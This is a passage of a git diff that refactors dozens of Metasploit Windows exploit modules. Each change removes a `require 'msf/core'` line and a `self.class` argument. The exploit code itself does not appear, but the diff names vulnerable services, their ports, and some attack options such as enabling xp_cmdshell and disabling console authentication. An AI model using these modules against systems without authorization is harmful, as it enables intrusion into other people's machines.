a/modules/exploits/windows/lpd/wincomlpd_admin.rb b/modules/exploits/windows/lpd/wincomlpd_admin.rb index 6e5354b7e5..1d5cb12dc2 100644 --- a/modules/exploits/windows/lpd/wincomlpd_admin.rb +++ b/modules/exploits/windows/lpd/wincomlpd_admin.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking diff --git a/modules/exploits/windows/misc/achat_bof.rb b/modules/exploits/windows/misc/achat_bof.rb index 378dcd3d7a..aec1c13ce7 100644 --- a/modules/exploits/windows/misc/achat_bof.rb +++ b/modules/exploits/windows/misc/achat_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -61,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(9256) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/misc/actfax_raw_server_bof.rb b/modules/exploits/windows/misc/actfax_raw_server_bof.rb index 970804766e..fbd81799cc 100644 --- a/modules/exploits/windows/misc/actfax_raw_server_bof.rb +++ b/modules/exploits/windows/misc/actfax_raw_server_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/misc/agentxpp_receive_agentx.rb b/modules/exploits/windows/misc/agentxpp_receive_agentx.rb index 64aa24d4a0..5911d441e1 100644 --- a/modules/exploits/windows/misc/agentxpp_receive_agentx.rb +++ b/modules/exploits/windows/misc/agentxpp_receive_agentx.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -64,7 +62,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 16 2010')) - register_options([Opt::RPORT(705)], self.class) + register_options([Opt::RPORT(705)]) end def exploit diff --git a/modules/exploits/windows/misc/allmediaserver_bof.rb b/modules/exploits/windows/misc/allmediaserver_bof.rb index 2ecd64761c..4f5f7a6a42 100644 --- a/modules/exploits/windows/misc/allmediaserver_bof.rb +++ b/modules/exploits/windows/misc/allmediaserver_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -68,7 +66,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Jul 04 2012', 'DefaultTarget' => 1)) - register_options([Opt::RPORT(888)], self.class) + register_options([Opt::RPORT(888)]) end diff --git a/modules/exploits/windows/misc/altiris_ds_sqli.rb b/modules/exploits/windows/misc/altiris_ds_sqli.rb index 5d41f38d8d..44ec6fdf61 100644 --- a/modules/exploits/windows/misc/altiris_ds_sqli.rb +++ b/modules/exploits/windows/misc/altiris_ds_sqli.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -59,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote OptBool.new('XP_CMDSHELL', [ true, "Enable xp_cmdshell prior to exploit", true]), OptBool.new('DISABLE_SECURITY', [ true, "Exploit SQLi to execute wc_upd_disable_security and disable Console Authentication", false ]), OptBool.new('ENABLE_SECURITY', [ true, "Enable Local Deployment Console Authentication", false ]) - ], self.class) + ]) deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') end diff --git a/modules/exploits/windows/misc/apple_quicktime_rtsp_response.rb b/modules/exploits/windows/misc/apple_quicktime_rtsp_response.rb index a18abfeb57..61eaa22dcd 100644 --- a/modules/exploits/windows/misc/apple_quicktime_rtsp_response.rb +++ b/modules/exploits/windows/misc/apple_quicktime_rtsp_response.rb @@ -47,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptPort.new('SRVPORT', [ true, "The RTSP daemon port to listen on", 554 ]) - ], self.class) + ]) end def on_client_connect(client) diff --git a/modules/exploits/windows/misc/asus_dpcproxy_overflow.rb b/modules/exploits/windows/misc/asus_dpcproxy_overflow.rb index ef8ca5f737..d90b94187a 100644 --- a/modules/exploits/windows/misc/asus_dpcproxy_overflow.rb +++ b/modules/exploits/windows/misc/asus_dpcproxy_overflow.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -43,7 +41,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Mar 21 2008')) - register_options([Opt::RPORT(623)], self.class) + register_options([Opt::RPORT(623)]) end diff --git a/modules/exploits/windows/misc/avaya_winpmd_unihostrouter.rb b/modules/exploits/windows/misc/avaya_winpmd_unihostrouter.rb index 163488bdd5..b33f78a112 100644 --- a/modules/exploits/windows/misc/avaya_winpmd_unihostrouter.rb +++ b/modules/exploits/windows/misc/avaya_winpmd_unihostrouter.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -61,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0 )) - register_options([ Opt::RPORT(3217) ], self.class) + register_options([ Opt::RPORT(3217) ]) end def junk(n=4) diff --git a/modules/exploits/windows/misc/avidphoneticindexer.rb b/modules/exploits/windows/misc/avidphoneticindexer.rb index b73941ecee..e215d34e58 100644 --- a/modules/exploits/windows/misc/avidphoneticindexer.rb +++ b/modules/exploits/windows/misc/avidphoneticindexer.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -58,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(4659), - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/misc/bakbone_netvault_heap.rb b/modules/exploits/windows/misc/bakbone_netvault_heap.rb index 33623a6a2e..8c6f5feed9 100644 --- a/modules/exploits/windows/misc/bakbone_netvault_heap.rb +++ b/modules/exploits/windows/misc/bakbone_netvault_heap.rb @@ -5,8 +5,6 @@ -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(20031) - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/misc/bcaaa_bof.rb b/modules/exploits/windows/misc/bcaaa_bof.rb index b83075517a..4f0c0d728c 100644 --- a/modules/exploits/windows/misc/bcaaa_bof.rb +++ b/modules/exploits/windows/misc/bcaaa_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(16102), OptInt.new("ATTEMPTS", [true, "Number of attempts to try to exploit", 3]), - ], self.class) + ]) end def junk diff --git a/modules/exploits/windows/misc/bigant_server.rb b/modules/exploits/windows/misc/bigant_server.rb index a485c3f977..d3ba04330b 100644 --- a/modules/exploits/windows/misc/bigant_server.rb +++ b/modules/exploits/windows/misc/bigant_server.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 15 2008')) - register_options([Opt::RPORT(6080)], self.class) + register_options([Opt::RPORT(6080)]) end def exploit diff --git a/modules/exploits/windows/misc/bigant_server_250.rb b/modules/exploits/windows/misc/bigant_server_250.rb index 2cfbdcfe73..f5b188ff1f 100644 --- a/modules/exploits/windows/misc/bigant_server_250.rb +++ b/modules/exploits/windows/misc/bigant_server_250.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 15 2008')) - register_options([Opt::RPORT(6660)], self.class) + register_options([Opt::RPORT(6660)]) end def exploit diff --git a/modules/exploits/windows/misc/bigant_server_dupf_upload.rb b/modules/exploits/windows/misc/bigant_server_dupf_upload.rb index 2a727d37ea..90aeca4439 100644 --- a/modules/exploits/windows/misc/bigant_server_dupf_upload.rb +++ b/modules/exploits/windows/misc/bigant_server_dupf_upload.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -57,7 +55,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(6661), OptInt.new('DEPTH', [true, "Levels to reach base directory", 6]) - ], self.class) + ]) end diff --git a/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb b/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb index e0fd894ab6..e739f21c6f 100644 --- a/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb +++ b/modules/exploits/windows/misc/bigant_server_sch_dupf_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -64,7 +62,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 09 2013')) - register_options([Opt::RPORT(6661)], self.class) + register_options([Opt::RPORT(6661)]) end def junk(n=4) diff --git a/modules/exploits/windows/misc/bigant_server_usv.rb b/modules/exploits/windows/misc/bigant_server_usv.rb index fa53f1bdc9..75306c4560 100644 --- a/modules/exploits/windows/misc/bigant_server_usv.rb +++ b/modules/exploits/windows/misc/bigant_server_usv.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Dec 29 2009')) - register_options([Opt::RPORT(6660)], self.class) + register_options([Opt::RPORT(6660)]) end def exploit diff --git a/modules/exploits/windows/misc/bomberclone_overflow.rb b/modules/exploits/windows/misc/bomberclone_overflow.rb index 55a2bb646b..4a16938409 100644 --- a/modules/exploits/windows/misc/bomberclone_overflow.rb +++ b/modules/exploits/windows/misc/bomberclone_overflow.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -46,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Feb 16 2006' )) - register_options([ Opt::RPORT(11000) ], self.class) + register_options([ Opt::RPORT(11000) ]) end def exploit diff --git a/modules/exploits/windows/misc/bopup_comm.rb b/modules/exploits/windows/misc/bopup_comm.rb index c792582b39..7d5ec0ebb8 100644 --- a/modules/exploits/windows/misc/bopup_comm.rb +++ b/modules/exploits/windows/misc/bopup_comm.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(19810) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/misc/borland_interbase.rb b/modules/exploits/windows/misc/borland_interbase.rb index c994706c67..bb347941ab 100644 --- a/modules/exploits/windows/misc/borland_interbase.rb +++ b/modules/exploits/windows/misc/borland_interbase.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -46,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Jul 24 2007')) - register_options([Opt::RPORT(3050)], self.class) + register_options([Opt::RPORT(3050)]) end def exploit diff --git a/modules/exploits/windows/misc/borland_starteam.rb b/modules/exploits/windows/misc/borland_starteam.rb index d744dd9c5f..8c2cea8b3f 100644 --- a/modules/exploits/windows/misc/borland_starteam.rb +++ b/modules/exploits/windows/misc/borland_starteam.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -46,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 02 2008')) - register_options([Opt::RPORT(3057)], self.class) + register_options([Opt::RPORT(3057)]) end def exploit diff --git a/modules/exploits/windows/misc/citrix_streamprocess.rb b/modules/exploits/windows/misc/citrix_streamprocess.rb index cd7a9bfb62..4c0566a526 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -49,7 +47,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 20 2011')) - register_options([Opt::RPORT(6905)], self.class) + register_options([Opt::RPORT(6905)]) end def exploit diff --git a/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb b/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb index b3b75c9574..c804b88c11 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess_data_msg.rb @@ -5,8 +5,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -58,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Nov 04 2011', #CTX130846 creation date 'DefaultTarget' => 0)) - register_options([Opt::RPORT(6905)], self.class) + register_options([Opt::RPORT(6905)]) end def exploit diff --git a/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb b/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb index 202b6351b9..b2545ab141 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess_get_boot_record_request.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Nov 04 2011', #CTX130846 creation date 'DefaultTarget' => 0)) - register_options([Opt::RPORT(6905)], self.class) + register_options([Opt::RPORT(6905)]) end def exploit diff --git a/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb b/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb index a3ac4f3342..5feec4b3cd 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess_get_footer.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -56,7 +54,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Nov 04 2011', #CTX130846 creation date 'DefaultTarget' => 0)) - register_options([Opt::RPORT(6905)], self.class) + register_options([Opt::RPORT(6905)]) end def exploit diff --git a/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb b/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb index 2a453e4651..71814b5dd9 100644 --- a/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb +++ b/modules/exploits/windows/misc/citrix_streamprocess_get_objects.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -58,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Nov 04 2011', #CTX130846 creation date 'DefaultTarget' => 0)) - register_options([Opt::RPORT(6905)], self.class) + register_options([Opt::RPORT(6905)]) end def exploit diff --git a/modules/exploits/windows/misc/doubletake.rb b/modules/exploits/windows/misc/doubletake.rb index 388c996923..5c3497b884 100644 --- a/modules/exploits/windows/misc/doubletake.rb +++ b/modules/exploits/windows/misc/doubletake.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -50,7 +48,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(1100) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/misc/eiqnetworks_esa.rb b/modules/exploits/windows/misc/eiqnetworks_esa.rb index bcc0102e7b..ca8a09ca7d 100644 --- a/modules/exploits/windows/misc/eiqnetworks_esa.rb +++ b/modules/exploits/windows/misc/eiqnetworks_esa.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -72,7 +70,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(10616) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/misc/eiqnetworks_esa_topology.rb b/modules/exploits/windows/misc/eiqnetworks_esa_topology.rb index 5e7b5c8e0b..201b00fd8a 100644 --- a/modules/exploits/windows/misc/eiqnetworks_esa_topology.rb +++ b/modules/exploits/windows/misc/eiqnetworks_esa_topology.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -52,7 +50,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(10628) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb b/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb index b5c78fb561..d11419512c 100644 --- a/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb +++ b/modules/exploits/windows/misc/enterasys_netsight_syslog_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -60,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 1 )) - register_options([ Opt::RPORT(514) ], self.class) + register_options([ Opt::RPORT(514) ]) end def junk(n=4) diff --git a/modules/exploits/windows/misc/eureka_mail_err.rb b/modules/exploits/windows/misc/eureka_mail_err.rb index 8d61c18476..9ffaa1ccae 100644 --- a/modules/exploits/windows/misc/eureka_mail_err.rb +++ b/modules/exploits/windows/misc/eureka_mail_err.rb @@ -61,7 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptPort.new('SRVPORT', [ true, "The POP3 daemon port to listen on", 110 ]), - ], self.class) + ]) end def on_client_connect(client) diff --git a/modules/exploits/windows/misc/fb_cnct_group.rb b/modules/exploits/windows/misc/fb_cnct_group.rb index df7c0adc8e..0ad2f0e651 100644 --- a/modules/exploits/windows/misc/fb_cnct_group.rb +++ b/modules/exploits/windows/misc/fb_cnct_group.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp @@ -59,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Jan 31 2013' ) - register_options([Opt::RPORT(3050)], self.class) + register_options([Opt::RPORT(3050)]) end def check diff --git a/modules/exploits/windows/misc/fb_isc_attach_database.rb b/modules/exploits/windows/misc/fb_isc_attach_database.rb index d913136f3b..a9983805d5 100644 --- a/modules/exploits/windows/misc/fb_isc_attach_database.rb +++ b/modules/exploits/windows/misc/fb_isc_attach_database.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -61,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(3050) - ], self.class) + ]) end # Create database parameter block diff --git a/modules/exploits/windows/misc/fb_isc_create_database.rb b/modules/exploits/windows/misc/fb_isc_create_database.rb index 2bcac14761..5e7d30cbbb 100644 --- a/modules/exploits/windows/misc/fb_isc_create_database.rb +++ b/modules/exploits/windows/misc/fb_isc_create_database.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -61,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(3050) - ], self.class) + ]) end # Create database parameter block diff --git a/modules/exploits/windows/misc/fb_svc_attach.rb b/modules/exploits/windows/misc/fb_svc_attach.rb index db3949ec51..21889f920d 100644 --- a/modules/exploits/windows/misc/fb_svc_attach.rb +++ b/modules/exploits/windows/misc/fb_svc_attach.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -61,7 +59,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(3050) - ], self.class) + ]) end def exploit_target(target) diff --git a/modules/exploits/windows/misc/gimp_script_fu.rb b/modules/exploits/windows/misc/gimp_script_fu.rb index d5e6c095ef..25f75ba7b8 100644 --- a/modules/exploits/windows/misc/gimp_script_fu.rb +++ b/modules/exploits/windows/misc/gimp_script_fu.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -67,7 +65,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'May 18 2012')) - register_options([Opt::RPORT(10008)], self.class) + register_options([Opt::RPORT(10008)]) end def exploit diff --git a/modules/exploits/windows/misc/hp_dataprotector_cmd_exec.rb b/modules/exploits/windows/misc/hp_dataprotector_cmd_exec.rb index cf29c3b2d6..2cdb1a0b21 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_cmd_exec.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_cmd_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -59,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(5555), OptString.new('FILE_NAME', [ false, 'DLL File name to share']), OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15]) - ], self.class) + ]) deregister_options('FOLDER_NAME') deregister_options('FILE_CONTENTS') diff --git a/modules/exploits/windows/misc/hp_dataprotector_crs.rb b/modules/exploits/windows/misc/hp_dataprotector_crs.rb index d600cbbad1..39422d4791 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_crs.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_crs.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/misc/hp_dataprotector_dtbclslogin.rb b/modules/exploits/windows/misc/hp_dataprotector_dtbclslogin.rb index 2e1c591fd1..9cf0c87902 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_dtbclslogin.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_dtbclslogin.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -58,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(3817), - ], self.class) + ]) end def check diff --git a/modules/exploits/windows/misc/hp_dataprotector_encrypted_comms.rb b/modules/exploits/windows/misc/hp_dataprotector_encrypted_comms.rb index 5158c955a6..3913fc880a 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_encrypted_comms.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_encrypted_comms.rb @@ -3,7 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' require 'msf/core/exploit/powershell' require 'openssl' diff --git a/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb b/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb index 93fff44d38..834d8524d3 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_exec_bar.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/exploit/powershell' @@ -59,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(5555), OptString.new('CMDPATH', [true, 'The cmd.exe path', 'c:\\windows\\system32\\cmd.exe']) - ], self.class) + ]) deregister_options('CMDSTAGER::FLAVOR') end diff --git a/modules/exploits/windows/misc/hp_dataprotector_install_service.rb b/modules/exploits/windows/misc/hp_dataprotector_install_service.rb index 8dc97f9b2c..db22637cc2 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_install_service.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_install_service.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -54,7 +52,7 @@ class MetasploitModule < Msf::Exploit::Remote [ Opt::RPORT(5555), OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15]) - ], self.class) + ]) deregister_options('FOLDER_NAME') deregister_options('FILE_CONTENTS') diff --git a/modules/exploits/windows/misc/hp_dataprotector_new_folder.rb b/modules/exploits/windows/misc/hp_dataprotector_new_folder.rb index 65676817b8..7025c910e0 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_new_folder.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_new_folder.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -73,7 +71,7 @@ class MetasploitModule < Msf::Exploit::Remote Opt::RPORT(3817), OptString.new('USERNAME', [ true, 'The username to authenticate as','Admin' ]), OptString.new('PASSWORD', [ false, 'The password for the specified username','' ]) - ], self.class) + ]) end # dpwinsup!SvcEncrypt2 diff --git a/modules/exploits/windows/misc/hp_dataprotector_traversal.rb b/modules/exploits/windows/misc/hp_dataprotector_traversal.rb index 779082e32e..cee7df9aed 100644 --- a/modules/exploits/windows/misc/hp_dataprotector_traversal.rb +++ b/modules/exploits/windows/misc/hp_dataprotector_traversal.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 02 2014')) - register_options([Opt::RPORT(5555)], self.class) + register_options([Opt::RPORT(5555)]) end def check diff --git a/modules/exploits/windows/misc/hp_imc_uam.rb b/modules/exploits/windows/misc/hp_imc_uam.rb index 6ba32d2958..2b076a294c 100644 --- a/modules/exploits/windows/misc/hp_imc_uam.rb +++ b/modules/exploits/windows/misc/hp_imc_uam.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote 'DisclosureDate' => 'Aug 29 2012', 'DefaultTarget' => 0)) - register_options([Opt::RPORT(1811)], self.class) + register_options([Opt::RPORT(1811)]) end def junk(n=4) diff --git a/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb b/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb index 7f7d4d2696..369fd6cf9e 100644 --- a/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb +++ b/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -60,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote ], 'DisclosureDate' => 'Jul 27 2013')) - register_options([Opt::RPORT(443)], self.class) + register_options([Opt::RPORT(443)]) end def exploit diff --git a/modules/exploits/windows/misc/hp_magentservice.rb b/modules/exploits/windows/misc/hp_magentservice.rb index 041554ef94..fa628a86b0 100644 --- a/modules/exploits/windows/misc/hp_magentservice.rb +++ b/modules/exploits/windows/misc/hp_magentservice.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -59,7 +57,7 @@ class MetasploitModule 